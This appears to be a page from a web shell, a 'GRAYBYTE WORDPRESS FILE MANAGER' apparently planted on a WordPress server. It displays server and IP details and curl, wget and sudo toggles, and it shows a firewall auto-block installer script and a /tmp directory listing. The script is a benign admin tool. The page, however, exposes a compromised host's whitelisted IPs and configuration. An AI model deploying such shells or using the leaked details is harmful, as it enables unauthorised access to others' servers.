✘✘ GRAYBYTE WORDPRESS FILE MANAGER ✘✘

​🇳​​🇦​​🇲​​🇪♯➤ server.blackpussy.asia ​🇻​♯➤ 5.14.0-611.20.1.el9_7.x86_64 #1 SMP 🇾​♯➤ 2026

𝗛𝗢𝗠𝗘 𝗜𝗗 ♯➤ 163.245.207.76 ♯➤ 𝗔𝗗𝗠𝗜𝗡 𝗜𝗗 216.73.216.243
𝗢𝗣𝗧𝗜𝗢𝗡𝗦 ♯ CRL ♯➤ 𝗢𝗞 ┃ WGT ♯➤ 𝗢𝗞 ┃ SDO ♯➤ 𝗢𝗞 ┃ PKEX ♯➤ 𝗢𝗙𝗙
𝗗𝗘𝗔𝗖𝗧𝗜𝗩𝗔𝗧𝗘𝗗 ♯➤ mail,mb_send_mail
𝗖𝗨𝗥𝗥𝗘𝗡𝗧 𝗙𝗜𝗟𝗘 : /tmp//install_auto_bclass_block_target.sh
#!/bin/bash
set -euo pipefail
stamp="$(date +%Y%m%d_%H%M%S)"
backup="/root/wpmm-backups/auto-bclass-block-$stamp"
mkdir -p "$backup"
cp -a /usr/local/sbin/wpmm-watchdog "$backup/wpmm-watchdog"
cp -a /etc/wpmm-watchdog.json "$backup/wpmm-watchdog.json"
cp -a /etc/systemd/system/wpmm-watchdog.timer "$backup/wpmm-watchdog.timer"
if [ -f /etc/csf/csf.deny ]; then cp -a /etc/csf/csf.deny "$backup/csf.deny"; fi
if [ -f /etc/csf/csf.allow ]; then cp -a /etc/csf/csf.allow "$backup/csf.allow"; fi
rollback() {
  cp -a "$backup/wpmm-watchdog" /usr/local/sbin/wpmm-watchdog
  cp -a "$backup/wpmm-watchdog.json" /etc/wpmm-watchdog.json
  cp -a "$backup/wpmm-watchdog.timer" /etc/systemd/system/wpmm-watchdog.timer
  if [ -f "$backup/csf.deny" ]; then cp -a "$backup/csf.deny" /etc/csf/csf.deny; fi
  if [ -f "$backup/csf.allow" ]; then cp -a "$backup/csf.allow" /etc/csf/csf.allow; fi
  systemctl daemon-reload >/dev/null 2>&1 || true
}
trap rollback ERR
install -o root -g root -m 0755 /tmp/wpmm-watchdog.autoblock /usr/local/sbin/wpmm-watchdog
install -o root -g root -m 0644 /tmp/wpmm-watchdog.timer.autoblock /etc/systemd/system/wpmm-watchdog.timer
python3 -m py_compile /usr/local/sbin/wpmm-watchdog
python3 - <<'PY'
import json, os
path='/etc/wpmm-watchdog.json'
with open(path,encoding='utf-8') as f: data=json.load(f)
required={
 '172.96.184.87':'Hawk 中控主機',
 '139.162.96.131':'總公司發文/數據收集主機',
 '172.233.84.207':'備用數據收集主機',
 '42.71.16.140':'目前管理 IP',
 '114.41.0.27':'公司先前 IP',
 '1.168.188.194':'公司先前 IP',
 '127.0.0.1':'本機回環',
 '::1':'本機回環',
}
ips=[]
for value in list(data.get('connection_whitelist_ips',[]))+list(required):
 value=str(value).strip()
 if value and value not in ips: ips.append(value)
labels=dict(data.get('connection_whitelist_labels',{}))
for key,value in required.items(): labels.setdefault(key,value)
data['connection_whitelist_ips']=ips
data['connection_whitelist_labels']=labels
data['auto_block_bclass_enabled']=True
data['auto_block_bclass_threshold']=20
data['auto_block_max_cclass_per_run']=128
data['auto_block_established_ports']=[111,2049]
temp=path+'.wpmm.tmp'
with open(temp,'w',encoding='utf-8') as f:
 json.dump(data,f,ensure_ascii=False,indent=2); f.flush(); os.fsync(f.fileno())
os.chmod(temp,0o600)
os.replace(temp,path)
PY
if command -v csf >/dev/null 2>&1; then
  for ip in 172.96.184.87 139.162.96.131 172.233.84.207 42.71.16.140 114.41.0.27 1.168.188.194; do
    grep -Eq "^[[:space:]]*${ip//./\\.}([[:space:]#]|$)" /etc/csf/csf.allow 2>/dev/null || echo "$ip # wp-MM-System protected source" >> /etc/csf/csf.allow
  done
  csf -r >/dev/null
elif command -v wpmm-firewall >/dev/null 2>&1; then
  wpmm-firewall restore >/dev/null
fi
systemctl daemon-reload
systemctl enable --now wpmm-watchdog.timer >/dev/null
systemctl restart wpmm-watchdog.timer
systemctl start wpmm-watchdog.service
systemctl is-active wpmm-watchdog.timer
python3 - <<'PY'
import json
d=json.load(open('/etc/wpmm-watchdog.json'))
assert d.get('auto_block_bclass_enabled') is True
assert d.get('auto_block_bclass_threshold') == 20
s=json.load(open('/var/lib/wpmm-watchdog/state.json'))
r=s.get('last_auto_block',{})
print(json.dumps({'enabled':r.get('enabled'),'threshold':r.get('threshold'),'firewall_backend':r.get('firewall_backend'),'matched_groups':r.get('matched_groups',[]),'blocked':r.get('blocked',[]),'skipped_protected':r.get('skipped_protected',[]),'errors':r.get('errors',[])},ensure_ascii=False))
PY
trap - ERR
echo "backup=$backup"

Current_dir [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ] Document_root [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ]

Current_dir [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ] Document_root [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ]


[ Back ]
𝗡𝗔𝗠𝗘
𝗦𝗜𝗭𝗘
𝗟𝗔𝗦𝗧 𝗧𝗢𝗨𝗖𝗛
𝗨𝗦𝗘𝗥
𝗦𝗧𝗔𝗧𝗨𝗦
𝗙𝗨𝗡𝗖𝗧𝗜𝗢𝗡𝗦
..
--
12 Sep 2026 4.31 PM
root / root
0555
lost+found
--
17 Jan 2026 3.15 PM
root / root
0700
lshttpd
--
12 Sep 2026 9.23 AM
nobody / nobody
0751
systemd-private-ca77e09721aa4fcf9ffff7e345728903-chronyd.service-iRpFK7
--
20 Aug 2026 6.54 PM
root / root
0700
systemd-private-ca77e09721aa4fcf9ffff7e345728903-dbus-broker.service-mWwJQf
--
20 Aug 2026 6.54 PM
root / root
0700
systemd-private-ca77e09721aa4fcf9ffff7e345728903-ea-php82-php-fpm.service-q7F1D3
--
11 Sep 2026 3.28 AM
root / root
0700
systemd-private-ca77e09721aa4fcf9ffff7e345728903-ea-php82-php-fpm.service-ybHSbN
--
11 Sep 2026 3.28 AM
root / root
0700
systemd-private-ca77e09721aa4fcf9ffff7e345728903-irqbalance.service-Ciqla8
--
10 Sep 2026 4.57 AM
root / root
0700
systemd-private-ca77e09721aa4fcf9ffff7e345728903-irqbalance.service-KqdlIp
--
10 Sep 2026 4.57 AM
root / root
0700
systemd-private-ca77e09721aa4fcf9ffff7e345728903-kdump.service-B6YZbO
--
20 Aug 2026 6.55 PM
root / root
0700
systemd-private-ca77e09721aa4fcf9ffff7e345728903-kdump.service-KCT1LN
--
20 Aug 2026 6.55 PM
root / root
0700
systemd-private-ca77e09721aa4fcf9ffff7e345728903-pdns.service-qNCpXY
--
26 Aug 2026 4.57 AM
root / root
0700
systemd-private-ca77e09721aa4fcf9ffff7e345728903-pdns.service-xO0yHj
--
26 Aug 2026 4.57 AM
root / root
0700
systemd-private-ca77e09721aa4fcf9ffff7e345728903-systemd-logind.service-PDQ6FF
--
20 Aug 2026 6.54 PM
root / root
0700
194235.LOGD___WAITING_FOR_CHILD_TO_PROCESS_LOGS__.9SsCih2o.tmp
0 KB
12 Sep 2026 4.52 PM
tcom / tcom
0600
diag-body
1.222 KB
11 Sep 2026 3.30 AM
root / root
0644
diagnose_setup_403_target.py
1.81 KB
10 Sep 2026 4.27 AM
root / root
0644
find_publisher_ip.py
2.185 KB
9 Sep 2026 11.00 AM
root / root
0700
install_auto_bclass_block_target.sh
3.461 KB
10 Sep 2026 4.28 AM
root / root
0644
install_dedi3_rpcbind_protection.sh
1.576 KB
10 Sep 2026 1.32 AM
root / root
0644
install_port111_guard_target.sh
2.617 KB
10 Sep 2026 4.27 AM
root / root
0644
install_wp_request_htaccess_protection.py
3.226 KB
10 Sep 2026 4.55 AM
root / root
0644
other-body
0 KB
11 Sep 2026 3.17 AM
root / root
0644
possibility-after-restart
1.222 KB
11 Sep 2026 3.22 AM
root / root
0644
possibility-final-_
7.181 KB
11 Sep 2026 3.29 AM
root / root
0644
possibility-final-_index_php
1.222 KB
11 Sep 2026 3.29 AM
root / root
0644
possibility-final-_wp-login_php
1.222 KB
11 Sep 2026 3.29 AM
root / root
0644
possibility-home-after-restart
7.181 KB
11 Sep 2026 3.22 AM
root / root
0644
possibility-local-body
5.937 KB
11 Sep 2026 3.15 AM
root / root
0644
possibility-permission-fix
7.233 KB
11 Sep 2026 3.35 AM
root / root
0644
possibility-php-body
1.222 KB
11 Sep 2026 3.16 AM
root / root
0644
possibility-title
1.222 KB
11 Sep 2026 3.32 AM
root / root
0644
possibility-verify-_
7.181 KB
11 Sep 2026 3.29 AM
root / root
0644
possibility-verify-_index_php
1.222 KB
11 Sep 2026 3.29 AM
root / root
0644
possibility-verify-_wp-login_php
1.222 KB
11 Sep 2026 3.29 AM
root / root
0644
validate_basic_capabilities_target.sh
2.356 KB
10 Sep 2026 4.54 AM
root / root
0644
verify_auto_bclass_safety.sh
1.676 KB
10 Sep 2026 5.00 AM
root / root
0644
verify_request_protection_target.py
2.292 KB
10 Sep 2026 4.56 AM
root / root
0644
verify_watchdog_extended_target.sh
1.146 KB
10 Sep 2026 4.41 AM
root / root
0644
wpmm-apache-configtest.out
0.01 KB
9 Sep 2026 11.29 PM
root / root
0644
wpmm-curl-body
10.178 KB
10 Sep 2026 4.27 AM
root / root
0644
wpmm-firewall-dedi3.candidate
7.54 KB
10 Sep 2026 1.32 AM
root / root
0644
wpmm-httpd-reload.out
30.742 KB
9 Sep 2026 11.29 PM
root / root
0644
wpmm-port111-guard.candidate
0.668 KB
10 Sep 2026 4.27 AM
root / root
0644
wpmm-port111-guard.service.candidate
0.249 KB
10 Sep 2026 4.27 AM
root / root
0644
wpmm-preflight.stderr
0 KB
10 Sep 2026 4.54 AM
root / root
0644
wpmm-preflight.stdout
44.845 KB
10 Sep 2026 4.54 AM
root / root
0644
wpmm-v3-report.json
17.37 KB
9 Sep 2026 6.09 PM
root / root
0644
wpmm-watchdog-dedi3.json
0.119 KB
9 Sep 2026 6.55 AM
root / root
0644
wpmm-watchdog-monitoring
18.875 KB
9 Sep 2026 8.35 AM
root / root
0644
wpmm-watchdog-monitoring-v2
18.954 KB
9 Sep 2026 8.55 AM
root / root
0644
wpmm-watchdog-monitoring-v3
27.3 KB
9 Sep 2026 6.09 PM
root / root
0644
wpmm-watchdog.autoblock
39.53 KB
10 Sep 2026 4.28 AM
root / root
0644
wpmm-watchdog.py36-candidate
11.718 KB
9 Sep 2026 6.55 AM
root / root
0644
wpmm-watchdog.service.candidate
0.222 KB
9 Sep 2026 6.55 AM
root / root
0644
wpmm-watchdog.sucuri-candidate
12.228 KB
9 Sep 2026 6.59 AM
root / root
0644
wpmm-watchdog.timer.autoblock
0.185 KB
10 Sep 2026 4.28 AM
root / root
0644
wpmm-watchdog.timer.candidate
0.191 KB
9 Sep 2026 6.55 AM
root / root
0644

✘✘ GRAYBYTE WORDPRESS FILE MANAGER @ 2026 CONTACT ME ✘✘
Static GIF Static GIF